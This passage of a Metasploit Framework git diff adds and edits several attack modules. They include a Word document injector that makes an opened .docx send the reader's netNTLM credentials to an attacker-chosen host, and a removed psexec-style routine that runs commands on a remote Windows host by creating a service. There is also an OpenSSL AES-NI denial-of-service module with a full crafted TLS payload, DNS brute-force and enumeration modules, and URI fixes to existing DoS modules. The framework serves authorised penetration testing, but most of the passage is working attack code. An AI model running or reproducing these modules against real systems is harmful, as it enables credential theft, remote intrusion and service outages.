simple.connect("\\\\#{ip}\\#{smbshare}") - begin - if checktext = simple.open(text, 'ro') - check = false - else - check = true - end - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return check - rescue StandardError => check_error - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return true + left = files.collect{ |f| smb_file_exist?(f) } + if left.any? + print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") + else + print_status("#{peer} - Cleanup was successful") end end - # This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!! - # Instead of uploading and runing a binary. This method runs a single windows command fed into the COMMAND paramater - def psexec(command) - - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") - - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(0) + - NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil - - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.uwstring(displayname) + - - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end - - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + - NDR.long(0) + - NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end - end diff --git a/modules/auxiliary/admin/tikiwiki/tikidblib.rb b/modules/auxiliary/admin/tikiwiki/tikidblib.rb index 231b4fa360..695443c528 100644 --- a/modules/auxiliary/admin/tikiwiki/tikidblib.rb +++ b/modules/auxiliary/admin/tikiwiki/tikidblib.rb @@ -47,8 +47,8 @@ class Metasploit3 < Msf::Auxiliary def run print_status("Establishing a connection to the target...") - uri = normalize_uri(datastore['URI']) - rpath = uri + "/tiki-lastchanges.php?days=1&offset=0&sort_mode=" + uri = normalize_uri(datastore['URI'], '/tiki-lastchanges.php') + rpath = uri + "?days=1&offset=0&sort_mode=" res = send_request_raw({ 'uri' => rpath, diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb new file mode 100644 index 0000000000..926af2a6d3 --- /dev/null +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -0,0 +1,189 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://Metasploit.com/projects/Framework/ +## + +require 'msf/core' +require 'zip/zip' #for extracting files +require 'rex/zip' #for creating files + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Word UNC Path Injector', + 'Description' => %q{ + This module modifies a .docx file that will, upon opening, submit stored + netNTLM credentials to a remote host. It can also create an empty docx file. If + emailed the receiver needs to put the document in editing mode before the remote + server will be contacted. Preview and read-only mode do not work. Verified to work + with Microsoft Word 2003, 2007 and 2010 as of January 2013. In order to get the + hashes the auxiliary/server/capture/smb module can be used. + }, + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://jedicorp.com/?p=534' ] + ], + 'Author' => + [ + 'SphaZ ' + ] + )) + + register_options( + [ + OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.']), + OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']), + OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']), + OptString.new('DOCAUTHOR',[false,'Document author for empty document.']), + ], self.class) + end + + #here we create an empty .docx file with the UNC path. Only done when FILENAME is empty + def make_new_file + metadata_file_data = "" + metadata_file_data << "" + metadata_file_data << "#{datastore['DOCAUTHOR']}#{datastore['DOCAUTHOR']}" + metadata_file_data << "1" + metadata_file_data << "2013-01-08T14:14:00Z" + metadata_file_data << "2013-01-08T14:14:00Z" + + #where to find the skeleton files required for creating an empty document + data_dir = File.join(Msf::Config.install_root, "data", "exploits", "docx") + + zip_data = {} + + #add skeleton files + vprint_status("Adding skeleton files from #{data_dir}") + Dir["#{data_dir}/**/**"].each do |file| + if not File.directory?(file) + zip_data[file.sub(data_dir,'')] = File.read(file) + end + end + + #add on-the-fly created documents + vprint_status("Adding injected files") + zip_data["docProps/core.xml"] = metadata_file_data + zip_data["word/_rels/settings.xml.rels"] = @rels_file_data + + #add the otherwise skipped "hidden" file + file = "#{data_dir}/_rels/.rels" + zip_data[file.sub(data_dir,'')] = File.read(file) + #and lets create the file + zip_docx(zip_data) + end + + #here we inject an UNC path into an existing file, and store the injected file in FILENAME + def manipulate_file + ref = "" + + if not File.stat(datastore['SOURCE']).readable? + print_error("Not enough rights to read the file. Aborting.") + return nil + end + + #lets extract our docx and store it in memory + zip_data = unzip_docx + + #file to check for reference file we need + file_content = zip_data["word/settings.xml"] + if file_content.nil? + print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.") + return nil + end + + #if we can find the reference to our inject file, we don't need to add it and can just inject our unc path. + if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil? + vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") + zip_data["word/_rels/settings.xml.rels"] = @rels_file_data + # lets zip the end result + zip_docx(zip_data) + else + #now insert the reference to the file that will enable our malicious entry + insert_one = file_content.index(" e + print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.") + return nil + end + return zip_data + end + + + def run + #we need this in make_new_file and manipulate_file + @rels_file_data = "" + @rels_file_data << "".chomp + @rels_file_data << "".chomp + @rels_file_data << "" + + if "#{datastore['SOURCE']}" == "" + #make an empty file + print_status("Creating empty document that points to #{datastore['LHOST']}.") + make_new_file + else + #extract the word/settings.xml and edit in the reference we need + print_status("Injecting UNC path into existing document.") + if manipulate_file.nil? + print_error("Failed to create a document from #{datastore['SOURCE']}.") + else + print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") + end + end + end +end diff --git a/modules/auxiliary/dos/http/apache_range_dos.rb b/modules/auxiliary/dos/http/apache_range_dos.rb index 1ab9785c41..1cab306c3e 100644 --- a/modules/auxiliary/dos/http/apache_range_dos.rb +++ b/modules/auxiliary/dos/http/apache_range_dos.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary end def run - uri = normalize_uri(datastore['URI']) + uri = datastore['URI'] ranges = '' for i in (0..1299) do ranges += ",5-" + i.to_s diff --git a/modules/auxiliary/dos/http/webrick_regex.rb b/modules/auxiliary/dos/http/webrick_regex.rb index ee80b7a624..f886d688b6 100644 --- a/modules/auxiliary/dos/http/webrick_regex.rb +++ b/modules/auxiliary/dos/http/webrick_regex.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary def run begin o = { - 'uri' => normalize_uri(datastore['URI']) || '/', + 'uri' => normalize_uri(datastore['URI']), 'headers' => { 'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100 } diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb new file mode 100644 index 0000000000..f118a88abb --- /dev/null +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -0,0 +1,202 @@ +# auxilary/dos/ssl/openssl_aesni +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS', + 'Description' => %q{ + The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the + length of an encrypted message when used with a TLS version 1.1 or above. This + leads to an integer underflow which can cause a DoS. The vulnerable function + aesni_cbc_hmac_sha1_cipher is only included in the 64 bits versions of OpenSSL. + This module has been tested successfully on Ubuntu 12.04 (64 bits) with the default + OpenSSL 1.0.1c package. + }, + 'Author' => + [ + 'Wolfgang Ettlinger ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-2686'], + [ 'URL', 'https://www.openssl.org/news/secadv_20130205.txt'] + ], + 'DisclosureDate' => 'Feb 05 2013')) + + register_options( + [ + Opt::RPORT(443), + OptInt.new('MAX_TRIES', [true, "Maximum number of tries", 300]) + ], self.class) + end + + def run + # Client Hello + p1 = "\x16" # Content Type: Handshake + p1 << "\x03\x01" # Version: TLS 1.0 + p1 << "\x00\x7e" # Length: 126 + p1 << "\x01" # Handshake Type: Client Hello + p1 << "\x00\x00\x7a" # Length: 122 + p1 << "\x03\x02" # Version: TLS 1.1 + p1 << ("A" * 32) # Random + p1 << "\x00" # Session ID Length: 0 + p1 << "\x00\x08" # Cypher Suites Length: 6 + p1 << "\xc0\x13" # - ECDHE-RSA-AES128-SHA + p1 << "\x00\x39" # - DHE-RSA-AES256-SHA + p1 << "\x00\x35" # - AES256-SHA + p1 << "\x00\xff" # - EMPTY_RENEGOTIATION_INFO_SCSV + p1 << "\x01" # Compression Methods Length: 1 + p1 << "\x00" # - NULL-Compression + p1 << "\x00\x49" # Extensions Length: 73 + p1 << "\x00\x0b" # - Extension: ec_point_formats + p1 << "\x00\x04" # Length: 4 + p1 << "\x03" # EC Points Format Length: 3 + p1 << "\x00" # - uncompressed + p1 << "\x01" # - ansiX962_compressed_prime + p1 << "\x02" # - ansiX962_compressed_char2 + p1 << "\x00\x0a" # - Extension: elliptic_curves + p1 << "\x00\x34" # Length: 52 + p1 << "\x00\x32" # Elliptic Curves Length: 50 + # 25 Elliptic curves: + p1 << "\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a" + p1 << "\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04" + p1 << "\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10" + p1 << "\x00\x11" + + p1 << "\x00\x23" # - Extension: SessionTicket TLS + p1 << "\x00\x00" # Length: 0 + p1 << "\x00\x0f" # - Extension: Heartbeat + p1 << "\x00\x01" # Length: 1 + p1 << "\x01" # Peer allowed to send requests + + + # Change Cipher Spec Message + p2_cssm = "\x14" # Content Type: Change Cipher Spec + p2_cssm << "\x03\x02" # Version: TLS 1.1 + p2_cssm << "\x00\x01" # Length: 1 + p2_cssm << "\x01" # Change Cipher Spec Message + + + # Encrypted Handshake Message + p2_ehm = "\x16" # Content Type: Handshake + p2_ehm << "\x03\x02" # Version: TLS 1.1 + p2_ehm << "\x00\x40" # Length: 64 + p2_ehm << ("A" * 64) # Encrypted Message + + + # Client Key Exchange, Change Cipher Spec, Encrypted Handshake + # AES256-SHA + p2_aes_sha = "\x16" # Content Type: Handshake + p2_aes_sha << "\x03\x02" # Version: TLS 1.1 + p2_aes_sha << "\x01\x06" # Length: 262 + p2_aes_sha << "\x10" # Handshake Type: Client Key Exchange + p2_aes_sha << "\x00\x01\x02" # Length: 258 + p2_aes_sha << "\x01\x00" # Encrypted PreMaster Length: 256 + p2_aes_sha << ("\x00" * 256) # Encrypted PresMaster (irrelevant) + p2_aes_sha << p2_cssm # Change Cipher Spec Message + p2_aes_sha << p2_ehm # Encrypted Handshake Message + + + # DHE-RSA-AES256-SHA + p2_dhe = "\x16" # Content Type: Handshake + p2_dhe << "\x03\x02" # Version: TLS 1.1 + p2_dhe << "\x00\x46" # Length: 70 + p2_dhe << "\x10" # Handshake Type: Client Key Exchange + p2_dhe << "\x00\x00\x42" # Length: 66 + p2_dhe << "\x00\x40" # DH Pubkey Length: 64 + p2_dhe << ("A" * 64) # DH Pubkey + p2_dhe << p2_cssm # Change Cipher Spec Message + p2_dhe << p2_ehm # Encrypted Handshake Message + + + # ECDHE-RSA-AES128-SHA + p2_ecdhe = "\x16" # Content Type: Handshake + p2_ecdhe << "\x03\x02" # Version: TLS 1.1 + p2_ecdhe << "\x00\x46" # Length: 70 + p2_ecdhe << "\x10" # Handshake Type: Client Key Exchange + p2_ecdhe << "\x00\x00\x42" # Length: 66 + p2_ecdhe << "\x41" # EC DH Pubkey Length: 65 + # EC DH Pubkey: + p2_ecdhe << "\x04\x2f\x22\xf4\x06\x3f\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8" + p2_ecdhe << "\x03\xe5\xaa\x36\xeb\x0f\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69" + p2_ecdhe << "\x5b\x38\x95\x58\xb6\x0d\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6" + p2_ecdhe << "\xb2\xe6\x8b\x2a\xd9\x03\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73" + p2_ecdhe << "\x40" + p2_ecdhe << p2_cssm # Change Cipher Spec Message + p2_ecdhe << p2_ehm # Encrypted Handshake Message + + + maxtries = datastore['MAX_TRIES'] + + success = false + + for i in 0..maxtries + print_status("Try \##{i}") + + connect + + sock.put(p1) + resp = sock.get_once + + cs = get_cipher_suite(resp) + + if cs == 0xc013 # ECDHE-RSA-AES128-SHA + p2 = p2_ecdhe + elsif cs == 0x0039 # DHE-RSA-AES256-SHA + p2 = p2_dhe + elsif cs == 0x0035 # AES256-SHA + p2 = p2_aes_sha + else + print_error("No common ciphers!") + return + end + + sock.put(p2) + + alert = nil + + begin + alert = sock.get_once(-1, 2) + rescue EOFError + print_status("DoS successful. process on #{rhost} did not respond.") + success = true + break + end + + disconnect + + end + + if success == false + print_status("DoS unsuccessful.") + end + end + + def get_cipher_suite(resp) + offset = 0 + + while offset < resp.length + type = (resp[offset, 1]).unpack("C")[0] + + if not type == 22 # Handshake + return nil + end + + len = (resp[offset+3, 2]).unpack("n")[0] + hstype = (resp[offset+5, 1]).unpack("C")[0] + + if hstype == 2 # Server Hello + return (resp[offset+44, 2]).unpack("n")[0] + end + + offset += len + end + + end +end + diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb new file mode 100644 index 0000000000..74ca1672ec --- /dev/null +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -0,0 +1,134 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Brutefoce Enumeration', + 'Description' => %q{ + This module uses a dictionary to perform a bruteforce attack to enumerate + hostnames and subdomains available under a given domain. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name"]), + OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system DNS" ]), + OptPath.new('WORDLIST', [ true, "Wordlist file for domain name brute force.", + File.join(Msf::Config.install_root, "data", "wordlists", "namelist.txt")]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), + OptInt.new('THREADS', [ true, "Number of threads", 1]) + ], self.class) + end + + def run + print_status("Enumerating #{datastore['DOMAIN']}") + @res = Net::DNS::Resolver.new() + @res.retry = datastore['RETRY'].to_i unless datastore['RETRY'].nil? + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i unless datastore['RETRY_INTERVAL'].nil? + wildcard(datastore['DOMAIN']) + switchdns() unless datastore['NS'].nil? + dnsbrt(datastore['DOMAIN']) + end + + def wildcard(target) + rendsub = rand(10000).to_s + query = @res.query("#{rendsub}.#{target}", "A") + if query.answer.length != 0 + print_status("This Domain has wild-cards enabled!!") + query.answer.each do |rr| + print_warning("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + end + return true + else + return false + end + end + + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + return results + end + + def switchdns() + print_status("Using DNS server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end + + def dnsbrt(domain) + print_status("Performing bruteforce against #{domain}") + queue = [] + File.open(datastore['WORDLIST'], 'rb').each_line do |testd| + queue << testd.strip + end + while(not queue.empty?) + tl = [] + 1.upto(datastore['THREADS']) do + tl << framework.threads.spawn("Module(#{self.refname})-#{domain}", false, queue.shift) do |testf| + Thread.current.kill if not testf + vprint_status("Testing #{testf}.#{domain}") + get_ip("#{testf}.#{domain}").each do |i| + print_good("Host #{i[:host]} with address #{i[:address]} found") + report_host( + :host => i[:address].to_s, + :name => i[:host].gsub(/\.$/,'') + ) + end + end + end + if(tl.length == 0) + break + end + tl.first.join + tl.delete_if { |t| not t.alive? } + end + end +end + diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb new file mode 100644 index 0000000000..21c84de8ae --- /dev/null +++ b/modules/auxiliary/gather/dns_info.rb @@ -0,0 +1,231 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Basic Information Enumeration', + 'Description' => %q{ + This module enumerates basic DNS information for a given domain. The module + gets information regarding to A (addresses), AAAA (IPv6 addresses), NS (name + servers), SOA (start of authority) and MX (mail servers) records for a given + domain. In addition, this module retrieves information stored in TXT records. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name"]), + OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system configured DNS Server is used." ]), + + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), + ], self.class) + end + + def run + print_status("Enumerating #{datastore['DOMAIN']}") + @res = Net::DNS::Resolver.new() + + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + + wildcard(datastore['DOMAIN']) + switchdns() unless datastore['NS'].nil? or datastore['NS'].empty? + + get_ip(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} - Address #{r[:address]} found. Record type: #{r[:type]}") + report_host(:host => r[:address]) + end + + get_ns(datastore['DOMAIN']).each do |r| + print_good("#{datastore['DOMAIN']} - Name server #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + report_service( + :host => r[:address], + :name => "dns", + :port => 53, + :proto => "udp" + ) + end + + get_soa(datastore['DOMAIN']).each do |r| + print_good("#{datastore['DOMAIN']} - #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + end + + get_mx(datastore['DOMAIN']).each do |r| + print_good("#{datastore['DOMAIN']} - Mail server #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + report_service( + :host => r[:address], + :name => "smtp", + :port => 25, + :proto => "tcp" + ) + end + + get_txt(datastore['DOMAIN']).each do |r| + print_good("#{datastore['DOMAIN']} - Text info found: #{r[:text]}. Record type: #{r[:type]}") + report_note( + :host => datastore['DOMAIN'], + :proto => 'udp', + :port => 53, + :type => 'dns.info', + :data => {:text => r[:text]} + ) + end + end + + def wildcard(target) + rendsub = rand(10000).to_s + query = @res.query("#{rendsub}.#{target}", "A") + if query.answer.length != 0 + print_status("This Domain has Wild-cards Enabled!!") + query.answer.each do |rr| + print_status("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + report_note( + :host => datastore['DOMAIN'], + :proto => 'UDP', + :port => 53, + :type => 'dns.wildcard', + :data => "Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}" + ) + end + return true + else + return false + end + end + + def get_ip(host) + results = [] + query = @res.search(host, "A") + if query + query.answer.each do |rr| + record = {} + record[:host] = host + record[:type] = "A" + record[:address] = rr.address.to_s + results << record + end + end + query1 = @res.search(host, "AAAA") + if query1 + query1.answer.each do |rr| + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + return results + end + + def get_ns(target) + results = [] + query = @res.query(target, "NS") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record + end + end + return results + end + + def get_soa(target) + results = [] + query = @res.query(target, "SOA") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| + record = {} + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + return results + end + + def get_txt(target) + results = [] + query = @res.query(target, "TXT") + return results if not query + query.answer.each do |rr| + record = {} + record[:host] = target + record[:text] = rr.txt + record[:type] = "TXT" + results << record + end + return results + end + + def get_mx(target) + results = [] + query = @res.query(target, "MX") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr| + if Rex::Socket.dotted_ip?(rr.exchange) + record = {} + record[:host] = rr.exchange + record[:type] = "MX" + record[:address] = rr.exchange + results << record + else + get_ip(rr.exchange).each do |ip| + record = {} + record[:host] = rr.exchange.gsub(/\.$/,'') + record[:type] = "MX" + record[:address] = ip[:address].to_s + results << record + end + end + end + return results + end + + def switchdns() + print_status("Using DNS server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end +end + diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb new file mode 100644 index 0000000000..80ae0a844f --- /dev/null +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -0,0 +1,98 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Reverse Lookup Enumeration', + 'Description' => %q{ + This module performs DNS reverse lookup against a given IP range in order to + retrieve valid addresses and names. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptAddressRange.new('RANGE', [true, 'IP range to perform reverse lookup against.']), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), + OptInt.new('THREADS', [ true, "The number of concurrent threads.", 1]) + ], self.class) + end + + def run + @res = Net::DNS::Resolver.new() + + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + + @threadnum = datastore['THREADS'].to_i + switchdns() unless datastore['NS'].nil? + reverselkp(datastore['RANGE']) + end + + def reverselkp(iprange) + print_status("Running reverse lookup against IP range #{iprange}") + ar = Rex::Socket::RangeWalker.new(iprange) + tl = [] + while (true) + # Spawn threads for each host + while (tl.length <= @threadnum) + ip = ar.next_ip + break if not ip + tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip| + begin + query = @res.query(tip) + query.each_ptr do |addresstp| + print_status("Host Name: #{addresstp}, IP Address: #{tip.to_s}") + report_host( + :host => tip.to_s, + :name => addresstp + ) + end + rescue ::Interrupt + raise $! + rescue ::Rex::ConnectionError + rescue ::Exception => e + print_error("Error: #{tip}: #{e.message}") + end + end + end + # Exit once we run out of hosts + if(tl.length == 0) + break + end + tl.first.join + tl.delete_if { |t| not t.alive? } + end + end + + def switchdns() + print_status("Using DNS server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end +end + diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb new file mode 100644 index 0000000000..aeb3eef1c5 --- /dev/null +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -0,0 +1,227 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Common Service Record Enumeration', + 'Description' => %q{ + This module enumerates common DNS service records in a given domain. By setting + the ALL_DNS to true, all the name servers of a given domain are used for + enumeration. Otherwise only the system dns is used for enumration. in order to get + all the available name servers for the given domain the SOA and NS records are + queried. In order to convert from domain names to IP addresses queries for A and + AAAA (IPv6) records are used. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name."]), + OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]) + ], self.class) + end + + def run + records = [] + @res = Net::DNS::Resolver.new() + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + + print_status("Enumerating SRV Records for #{datastore['DOMAIN']}") + records = records + srvqry(datastore['DOMAIN']) + if datastore["ALL_NS"] + get_soa(datastore['DOMAIN']).each do |s| + switchdns(s[:address]) + records = records + srvqry(datastore['DOMAIN']) + end + get_ns(datastore['DOMAIN']).each do |ns| + switchdns(ns[:address]) + records =records + srvqry(datastore['DOMAIN']) + end + end + records.uniq! + records.each do |r| + print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]}") + report_host( + :host => r[:address].to_s, + :name => r[:host] + ) + report_service( + :host=> r[:address].to_s, + :port => r[:port].to_i, + :proto => r[:proto], + :name => r[:service], + :host_name => r[:host] + ) + end + + end + + def get_soa(target) + results = [] + query = @res.query(target, "SOA") + return results if 